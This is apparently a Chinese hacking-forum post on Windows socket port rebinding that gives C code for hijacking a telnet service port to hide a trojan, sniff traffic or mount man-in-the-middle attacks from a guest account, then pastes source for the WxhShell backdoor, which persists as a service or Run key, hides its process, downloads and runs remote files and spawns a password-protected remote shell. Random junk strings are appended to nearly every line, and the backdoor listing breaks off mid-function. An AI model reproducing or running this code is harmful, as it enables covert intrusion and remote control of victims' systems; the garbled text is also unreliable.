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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <7VLUk}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pE&G]ZC  
\ saV8U7B  
  saddr.sin_family = AF_INET; pOXI*0_g.  
?"mZb#%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nsR CDUCi  
xqzeBLU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .DhI3'Jrl  
@01.Pd   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1~c\J0h)d  
Dj(PH3^  
  这意味着什么?意味着可以进行如下的攻击: |${4sUR  
Ze~P6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Uv(R^50>  
22ON=NN  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7]vmtlL  
J:N(U0U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <"5l<E  
94+^K=lAX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  }ouGxs+^[  
bW6| &P}X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~i"=:D  
F<,pAxl~@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3p=Xv%xd  
x(TF4W=j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ks0Q+YW  
?Fl}@EA#M  
  #include %=UD~5!G0  
  #include BA c+T  
  #include KMj\A d  
  #include    ->b5"{t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v`Jt+?I  
  int main() "Xv} l@  
  { 9 8|sWI3 B  
  WORD wVersionRequested; o1ZVEvp  
  DWORD ret; jg710.v:  
  WSADATA wsaData; tTy!o=  
  BOOL val; 5v)^4( )  
  SOCKADDR_IN saddr; V1]GOmXz  
  SOCKADDR_IN scaddr; r >'tE7W9  
  int err; Zo<)r2|O.  
  SOCKET s; <a"(B*bBd  
  SOCKET sc; U3{<+vSR`  
  int caddsize; Z< i }XCE  
  HANDLE mt; Mp`$1Ksn  
  DWORD tid;   {$z54nvw$  
  wVersionRequested = MAKEWORD( 2, 2 ); ,p d -hu  
  err = WSAStartup( wVersionRequested, &wsaData ); A3a//e  
  if ( err != 0 ) { i!%bz  
  printf("error!WSAStartup failed!\n"); uvbVb"\"Yk  
  return -1; P\j\p =  
  } eL}w{Hlk T  
  saddr.sin_family = AF_INET; CT[9=wV)m%  
   Mk}T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7 ~~ug  
_"1RidhH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V'&;r'#O  
  saddr.sin_port = htons(23); D5lQ0_IeW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YCbvCw$Ob  
  { sG`x |%t  
  printf("error!socket failed!\n"); \_`qon$9  
  return -1; \jiE :Qt  
  } !zX() V  
  val = TRUE; L+8ar9es  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9-;-jnDy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4aS}b3=n  
  { dEJqgp}\p  
  printf("error!setsockopt failed!\n"); {$^'oRk  
  return -1; ?P'$Vxl  
  } <l<O2l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]I\GnDJ^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =P(*j7=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f!x9%  
7l53&,s   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L!cOg8Z  
  { s* (a  
  ret=GetLastError(); 6$R9Y.s>Z  
  printf("error!bind failed!\n"); = -2~>B  
  return -1; <,M"kF:  
  } M`cxxDj&j  
  listen(s,2); g$K\rA  
  while(1) ?@rd,:'dE  
  { i(j/C  
  caddsize = sizeof(scaddr); ]{1{XIF  
  //接受连接请求 `MU~N_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $,}jz.R@  
  if(sc!=INVALID_SOCKET) 'zI(OnIS  
  { p/ ITg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^lHy)!&A  
  if(mt==NULL) <o%T]  
  { " @D  
  printf("Thread Creat Failed!\n"); %zcA|SefP  
  break; e(t}$Q=  
  } 8FuxN2  
  } Vf cIR(  
  CloseHandle(mt); LCB-ewy#E  
  } \4N8-GwZQ  
  closesocket(s); RrMEDMhk6  
  WSACleanup(); nJ;^Sz17Q  
  return 0; :AzT=^S  
  }   VhO%4[Jl  
  DWORD WINAPI ClientThread(LPVOID lpParam) l!tR<$|  
  { IbI0".o  
  SOCKET ss = (SOCKET)lpParam; GKt."[seV  
  SOCKET sc; 36=aahXd\  
  unsigned char buf[4096]; +x2JC' -H  
  SOCKADDR_IN saddr; !eF(WbU0  
  long num; 7X>IS#W]  
  DWORD val; q_b!+Y  
  DWORD ret; <A,V/']  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *5feB#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yD3}USw  
  saddr.sin_family = AF_INET; &D<R;>iI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ` g]  
  saddr.sin_port = htons(23); G=:/v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yNvAT>H  
  { WE) *~5  
  printf("error!socket failed!\n"); *~^63Nx!  
  return -1; 0>{ ]*  
  } uVEJV |^/  
  val = 100; 27SHj9I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hN3FH# YO  
  { I8bM-k):9R  
  ret = GetLastError(); X FS~  
  return -1; ^QS`H@+Z  
  } l)NkTZ<]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G8av5zR  
  { 2{=]Pf  
  ret = GetLastError(); 4zyQ"?A~  
  return -1; 1iF=~@Nz_  
  } m]n2wmE3n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "V p nr +6  
  { QEr<(wM-y  
  printf("error!socket connect failed!\n"); :H]d1  
  closesocket(sc); ~Gfytn9x.;  
  closesocket(ss); MltO.K!  
  return -1; \W*L9azr  
  } t%}<S~"  
  while(1) ^\}qq>_  
  { H!IVbL`a{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vm%G q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `Z;Z^c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 '[ #y|  
  num = recv(ss,buf,4096,0); -pC'C%Q  
  if(num>0) |3]/C rR_  
  send(sc,buf,num,0); eAlOMSL\  
  else if(num==0) \;&;K'   
  break; G Aj%o]}u  
  num = recv(sc,buf,4096,0); Blxa0&3  
  if(num>0) MJGT|u8O&  
  send(ss,buf,num,0); wMVUTm  
  else if(num==0) 91]|4k93  
  break; n4{%M  
  } +9Tc.3vQ  
  closesocket(ss); *V2;ds.~  
  closesocket(sc); p~w] ~\  
  return 0 ; ?06gu1z/  
  } W![K#r5T  
[^"*I.Z_  
$S#Z>d*1!  
========================================================== 4A2}3$c9  
Rt#QW*h\|i  
下边附上一个代码,,WXhSHELL YmC}q20;  
r XJx~ g  
========================================================== _KM? ?&  
nCq'=L,m  
#include "stdafx.h" 30sJ"hF9  
-qP)L;n  
#include <stdio.h> 0"R>:f}  
#include <string.h> DsMo_m/"1  
#include <windows.h> H7+"BWc  
#include <winsock2.h> nqy*>X`  
#include <winsvc.h> M_E,pg=rWI  
#include <urlmon.h> 3'z$@ ;Ev+  
ogFo/TKM  
#pragma comment (lib, "Ws2_32.lib") &Sd5]r@+  
#pragma comment (lib, "urlmon.lib") YZf{."Opj[  
vqeH<$WHvy  
#define MAX_USER   100 // 最大客户端连接数 *p(_="J,  
#define BUF_SOCK   200 // sock buffer "L~Oj&AN[  
#define KEY_BUFF   255 // 输入 buffer bLg!LZ|S0s  
)V1xL_hx/  
#define REBOOT     0   // 重启 . Vb|le(7  
#define SHUTDOWN   1   // 关机 n#P>E( K  
)-4c@  
#define DEF_PORT   5000 // 监听端口 Xe_ <]|  
D)PX|xrn  
#define REG_LEN     16   // 注册表键长度 E*YmHJ:k  
#define SVC_LEN     80   // NT服务名长度 B=cA$620  
Ic0Sb7c  
// 从dll定义API dEk#"cvg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HgY@M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "&={E{pQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); liS'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8!2)=8|f  
!P{ /;Q  
// wxhshell配置信息 |Y!^E % *  
struct WSCFG { cNd&C'/N  
  int ws_port;         // 监听端口 M`&t=0D  
  char ws_passstr[REG_LEN]; // 口令 ZN}`A7  
  int ws_autoins;       // 安装标记, 1=yes 0=no l!,tssQ  
  char ws_regname[REG_LEN]; // 注册表键名 ZD&F ,2v  
  char ws_svcname[REG_LEN]; // 服务名 $V87=_}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O!"K'Bm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  :tZsSK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dUv@u !}B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J,W $\V]p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $ +WXM$N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X;!*D  
s&E,$|80  
}; }uIQ@f`  
ZjxF@`H  
// default Wxhshell configuration je mb/ :E  
struct WSCFG wscfg={DEF_PORT, 5ngs1ZF@  
    "xuhuanlingzhe", Iy_5k8 ]  
    1, AZ!/{1Az  
    "Wxhshell", AW r2Bv  
    "Wxhshell", gfggL&t(  
            "WxhShell Service", w%\ nXJ  
    "Wrsky Windows CmdShell Service", _#K|g#p5  
    "Please Input Your Password: ", .!4'Y}  
  1, 25OQY.>bE  
  "http://www.wrsky.com/wxhshell.exe", KiXfR\S~C  
  "Wxhshell.exe" 4 ?BQ&d  
    }; eX"%b(;s  
e`0C0GaP  
// 消息定义模块 XNa{_3v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z- q.8~Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1`?o#w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j& 7>ph  
char *msg_ws_ext="\n\rExit."; ;!HQ!#B  
char *msg_ws_end="\n\rQuit."; Y7S1^'E 3  
char *msg_ws_boot="\n\rReboot..."; dz@+ jEV  
char *msg_ws_poff="\n\rShutdown..."; Vs"b  
char *msg_ws_down="\n\rSave to "; P.YT/  
5mAb9F8@  
char *msg_ws_err="\n\rErr!"; N_g=,E=U%  
char *msg_ws_ok="\n\rOK!"; h!wq&Vi4  
nT|WJ%  
char ExeFile[MAX_PATH]; )cH\i91  
int nUser = 0; Kz;Ar&^`N  
HANDLE handles[MAX_USER]; bVcJ/+Yx|  
int OsIsNt; QDxs+<#  
N #v[YO`.  
SERVICE_STATUS       serviceStatus; (*A@V%H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1HO;~NJ]m  
cWQJ9.:7  
// 函数声明 @|(cr: (=H  
int Install(void); {e&fBX6;  
int Uninstall(void); B9"d7E#wHF  
int DownloadFile(char *sURL, SOCKET wsh); ;.jj>1=Tnl  
int Boot(int flag); R_j.k3r4d  
void HideProc(void); KOg,V_(I  
int GetOsVer(void); o135Xh$_>'  
int Wxhshell(SOCKET wsl); vL_yM  
void TalkWithClient(void *cs); ! #Pn_e  
int CmdShell(SOCKET sock); Cj#wY  
int StartFromService(void); B6F!"  
int StartWxhshell(LPSTR lpCmdLine); 551_;,t  
2}<tzDI'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Ug_3ZuU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fOMaTnm'  
#eYYu2ND  
// 数据结构和表定义 (g;O,`|c,  
SERVICE_TABLE_ENTRY DispatchTable[] = -|'@ :cIZ  
{ -Jd7  
{wscfg.ws_svcname, NTServiceMain}, MZ%J ]Nd  
{NULL, NULL} i@:^b_  
}; -$!r+4|q  
 2l,>x  
// 自我安装 N]yT/8  
int Install(void) e_!h>=$%8  
{ Jm , :6T  
  char svExeFile[MAX_PATH]; 1a9' *[  
  HKEY key; [`tOhL  
  strcpy(svExeFile,ExeFile); >yc),]1~  
5!ngM  
// 如果是win9x系统,修改注册表设为自启动 O=}w1]  
if(!OsIsNt) { MVM Jl">  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !43nL[]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +m JG:n  
  RegCloseKey(key); A23K!a2u&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \@PMj"p|:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~V(>L=\V;  
  RegCloseKey(key); 8/2Wq~&  
  return 0; t _ CMsp  
    } #>_t[9;  
  } mqeW,89  
} ();Z,A  
else { ecm+33C  
>W+,(kAS  
// 如果是NT以上系统,安装为系统服务 e}O&_ j-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VXCB.C"  
if (schSCManager!=0) 53/$8=  
{ 0qR#o/~I  
  SC_HANDLE schService = CreateService W+u@UJi  
  ( @j\;9>I/  
  schSCManager, ;|T|*0vY[  
  wscfg.ws_svcname, tY#&_%W  
  wscfg.ws_svcdisp, u9:sj  
  SERVICE_ALL_ACCESS, R;AcAJ;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , euY+jc%  
  SERVICE_AUTO_START, @}jg5}  
  SERVICE_ERROR_NORMAL, yq, qS0Fo  
  svExeFile, <.g)?nj1  
  NULL, <Y /3U  
  NULL, DaH4Br.2  
  NULL, :M;|0w*b  
  NULL, L7- JK3/E  
  NULL %D-!< )z  
  ); ral=`/p  
  if (schService!=0) qKXg'1#E)  
  { v+E J $  
  CloseServiceHandle(schService); y=8KNseW|  
  CloseServiceHandle(schSCManager); gs}&a3d7k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B$c'^ )  
  strcat(svExeFile,wscfg.ws_svcname); 1$))@K-I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q~^v=ye  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &hVf=We  
  RegCloseKey(key); ,P`:`XQ>_B  
  return 0; [)}`w;#  
    } =WF@S1  
  } Fu?_<G%Ynp  
  CloseServiceHandle(schSCManager); "pX|?ap  
} Lniz>gSc  
} ;U0w<>4L  
S]E|a@kD3  
return 1; uj}%S_9  
} 1OY 5tq  
4EeVO5  
// 自我卸载 5:+x7Ed  
int Uninstall(void) iMM9a;G+  
{ ! j6CvclT  
  HKEY key; ?/3{gOgI$`  
{niV63$m  
if(!OsIsNt) { MR,>]| ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sNG 7fi.|  
  RegDeleteValue(key,wscfg.ws_regname); O?#<kmd/)  
  RegCloseKey(key); =585TR; V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9u^za!pE  
  RegDeleteValue(key,wscfg.ws_regname); (<`> B  
  RegCloseKey(key); M;g"rpM  
  return 0; ) fuAdG  
  } }uD*\.  
} ZDK+>^A)  
} "2!5g)iO  
else { q.hpnE~#lh  
W)2k>cS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Y+e|B0  
if (schSCManager!=0) 4\U"e*  
{ 9nd,8Nji  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?S)Pv53>}  
  if (schService!=0) 4fL>Ou[YuX  
  { TD;u"  
  if(DeleteService(schService)!=0) { OS~Z@'Eg  
  CloseServiceHandle(schService); Fyz1LOH[X  
  CloseServiceHandle(schSCManager); FLumI-se!  
  return 0; m 2%  
  } 41C6ey  
  CloseServiceHandle(schService); gf;B&MM6  
  } wVv@   
  CloseServiceHandle(schSCManager); )\e0L/K@  
} VyIM ,glu  
} /z1-4:^`A[  
*6(/5V  
return 1; [ { F;4> g  
} =dQ46@  
rgv$MnG  
// 从指定url下载文件 ZB$,\|^6  
int DownloadFile(char *sURL, SOCKET wsh) UWgPQ%}  
{ Y4Jaw2b  
  HRESULT hr; sVS),9\}  
char seps[]= "/"; p?s[I)e  
char *token; `cmzmQC  
char *file; s|Vbc@t  
char myURL[MAX_PATH]; Y0Rk:Njc  
char myFILE[MAX_PATH]; aH$DEs  
e&pt[W}X%u  
strcpy(myURL,sURL); H"JzTo8u  
  token=strtok(myURL,seps); F @!9rl'  
  while(token!=NULL) mj& 4FQ#O*  
  { t%s(xz#1  
    file=token; avMre_@V  
  token=strtok(NULL,seps); *kGk.a=  
  } |r`0< `  
F PAj}as  
GetCurrentDirectory(MAX_PATH,myFILE); p?<T _9e  
strcat(myFILE, "\\"); x]"N:t  
strcat(myFILE, file); L# .vbf  
  send(wsh,myFILE,strlen(myFILE),0); l\bgp3.+  
send(wsh,"...",3,0); CDFX>>N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;3O=lo:$~  
  if(hr==S_OK) ^hwTnW9Z1:  
return 0; ;`Wh^Qgi  
else }@A{'q5y  
return 1; >@|XY<  
sc# q03  
} |/RZGC4  
u$V@akk  
// 系统电源模块 yMe;  
int Boot(int flag) DUs0L\  
{ ,h9N,bIQg  
  HANDLE hToken; )O6_9f_  
  TOKEN_PRIVILEGES tkp; ]%6XE)  
<`=(Ui$fD  
  if(OsIsNt) { O&PrO+&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jW.IkG[|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "&TN}SBW  
    tkp.PrivilegeCount = 1; wn>?r ?KIB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lDtl6r/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ix+\oq,O  
if(flag==REBOOT) { >f~y2YAr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c ^+{YH;k  
  return 0; ^s3SzB@  
} |("zW7g  
else { :8Ql (I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I#:4H2H6  
  return 0; -*0U&]T  
} `< cn  
  } iFB {a?BE  
  else { iy,jq5uw  
if(flag==REBOOT) { j !rQa^   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ":Ll. =!  
  return 0; kKNrCv@64d  
} 0bI} s`sr  
else { y[~w2a&+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l%xjCuuhU  
  return 0; ]n&Eb88  
} d7!,  
} #s]`jdc  
{$qLMx';  
return 1; +m1y#|08  
} v^Pjvv=  
MN. $a9m  
// win9x进程隐藏模块 r| 0wIpi6Q  
void HideProc(void) :"~n` Q2[  
{ =bl6:  
&6#Ft]6~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {P $sQv  
  if ( hKernel != NULL ) 4X:S#z  
  { KIHr%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^@AIXBe  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]c$)0O\O  
    FreeLibrary(hKernel); 0X4%Ccs  
  } [<A|\d'x  
2VA mL7)  
return; 4A~1Z,"%v(  
} DH{^9HK  
ycSC'R  
// 获取操作系统版本 g/e2t=qP  
int GetOsVer(void) |$.`4h?  
{ tFYo d#  
  OSVERSIONINFO winfo; e"ur+7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /.%AE|0+X  
  GetVersionEx(&winfo); L{AfrgN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _';oT*#  
  return 1; ,e5#wz  
  else ! p|d[  
  return 0; md`"zV  
} gKWsmx!["  
:PF6xL&  
// 客户端句柄模块 0l>4Umxr{J  
int Wxhshell(SOCKET wsl) 3=xN)j#B  
{ >]S-a-|Bp  
  SOCKET wsh; _ -C{:rV  
  struct sockaddr_in client; Jde@T h  
  DWORD myID; E)utrO R  
a+ lGN  
  while(nUser<MAX_USER) _h8|shyP  
{ ]Geg;[ t  
  int nSize=sizeof(client); @Xj6h!"R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;dE'# Kb  
  if(wsh==INVALID_SOCKET) return 1; ;ax%H @o  
z)U/bjf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sk|DVV $  
if(handles[nUser]==0) wDz}32wB  
  closesocket(wsh); UbSAyf  
else ftwn<B  
  nUser++; ,f?+QV\T.  
  } f{eMh47 NC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QFX )Nov];  
E|l qlS7  
  return 0; = & =#G3f  
} s\A4y "  
|?/,ED+|>D  
// 关闭 socket brt1Kvu8(  
void CloseIt(SOCKET wsh) TuX9:Q  
{ BEnIyVU;L  
closesocket(wsh); k9vzxZ%s:  
nUser--; m6^n8%  
ExitThread(0); !,zRg5Wp4  
} TW5Pt{X= f  
N9=1<{Z  
// 客户端请求句柄 f?|cQ[#t!\  
void TalkWithClient(void *cs) z*B-`i.  
{ F>/"If#  
iW,fKXuo&y  
  SOCKET wsh=(SOCKET)cs; p`2w\P3;)  
  char pwd[SVC_LEN]; uKE?VNC]  
  char cmd[KEY_BUFF]; EX9os  
char chr[1]; |v31weD8  
int i,j; u[G`_Y{=EM  
B #zU'G*Y  
  while (nUser < MAX_USER) { MiB}10  
~gJJ@j 0n  
if(wscfg.ws_passstr) { g;G]Xi.B}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qvl3=[S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2{fPQQ;#  
  //ZeroMemory(pwd,KEY_BUFF); iX\]-_D  
      i=0; Qy_! +q  
  while(i<SVC_LEN) { b!3Y<D*  
{Jn*{5tZ>  
  // 设置超时 vm Y*K  
  fd_set FdRead; 1NQstmd{  
  struct timeval TimeOut; JuTIP6 /G  
  FD_ZERO(&FdRead); Hm*?<o9mxC  
  FD_SET(wsh,&FdRead); O[O[E}8#  
  TimeOut.tv_sec=8; X4{O/G  
  TimeOut.tv_usec=0; o1?bqVF;6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 99tKs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r ; pS_PV  
[OK(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J.^%VnrFO9  
  pwd=chr[0]; VYC$Q;Z  
  if(chr[0]==0xd || chr[0]==0xa) { @^UnrKSd  
  pwd=0; l11+sqg  
  break; $>=?'wr  
  } CZ4Nw]dtR  
  i++; a15kFun  
    } ,J)wn;@  
. \:{6_  
  // 如果是非法用户,关闭 socket B(B77SOb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .qGfLvx%  
} gOL-b9W  
Lx#CFrLQ*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .R5(k'g?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6h%_\I.Z[[  
/_.1f|{B  
while(1) { ?f'iS#XL  
g886RhCe  
  ZeroMemory(cmd,KEY_BUFF); !aQQq[  
Kdr7JQYzuz  
      // 自动支持客户端 telnet标准   yHIZpU|(j  
  j=0; tVFydN~  
  while(j<KEY_BUFF) { 4<(U/58a*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `_Fxb@"R  
  cmd[j]=chr[0]; Hu-Y[~9^L:  
  if(chr[0]==0xa || chr[0]==0xd) { LCouDk(=`  
  cmd[j]=0; q9iHJ'lMD*  
  break; MQvk& AX  
  } !5zDnv  
  j++; F*rsi7#!pG  
    } -}$mv  
a7Yz X5n  
  // 下载文件 09L"~:rg  
  if(strstr(cmd,"http://")) { Q$XNs%7w5,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (N 0kTi]b  
  if(DownloadFile(cmd,wsh)) 5vo5t0^o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7x5wT ?2W  
  else JNk6:j&Pf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *iwV B^^$  
  } )g ; !IL  
  else { o`+$h:zm@  
@r=v*hu  
    switch(cmd[0]) { aRE%(-5  
  Is1(]^EE*  
  // 帮助 tS:/:0HnA)  
  case '?': { w+W! dM  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cyu= c1D;  
    break; fv+t%,++:  
  } {#C)S&o)6  
  // 安装 5[5|_H+0  
  case 'i': { 0LD$"0v/C3  
    if(Install()) L=#nnj-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uuq*;L  
    else n3B#M}R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CD:$22*]  
    break; v{c,>]@  
    } +]dh`8*8>1  
  // 卸载 H&_drxUq;L  
  case 'r': { G%FLt[  
    if(Uninstall()) poU1Q#+4p*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V''?kVJ  
    else DqN<bu2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " .<>(bE  
    break; r~q 3nIe/,  
    } $LOwuvu>  
  // 显示 wxhshell 所在路径 AJ"a  
  case 'p': { %ZbdWHO#  
    char svExeFile[MAX_PATH]; }|u>b!7_.  
    strcpy(svExeFile,"\n\r"); vp|'Yy(9z  
      strcat(svExeFile,ExeFile); h#JX$9  
        send(wsh,svExeFile,strlen(svExeFile),0); 67D{^K"KT  
    break; PL|zm5923  
    } &@[pJ2  
  // 重启 nBkzNb{"AZ  
  case 'b': { Or3GrZ!H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tQWjNP~  
    if(Boot(REBOOT)) tB{HH%cV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =V>inH  
    else { )&vuT q'7'  
    closesocket(wsh); e<+$E%"7hS  
    ExitThread(0); 6tZ ak1=V  
    } 64LAZE QX  
    break; [~{'"-3L0  
    } ;m#_Rj6  
  // 关机 Kv ~'*A)d  
  case 'd': { Ls6C*<8  
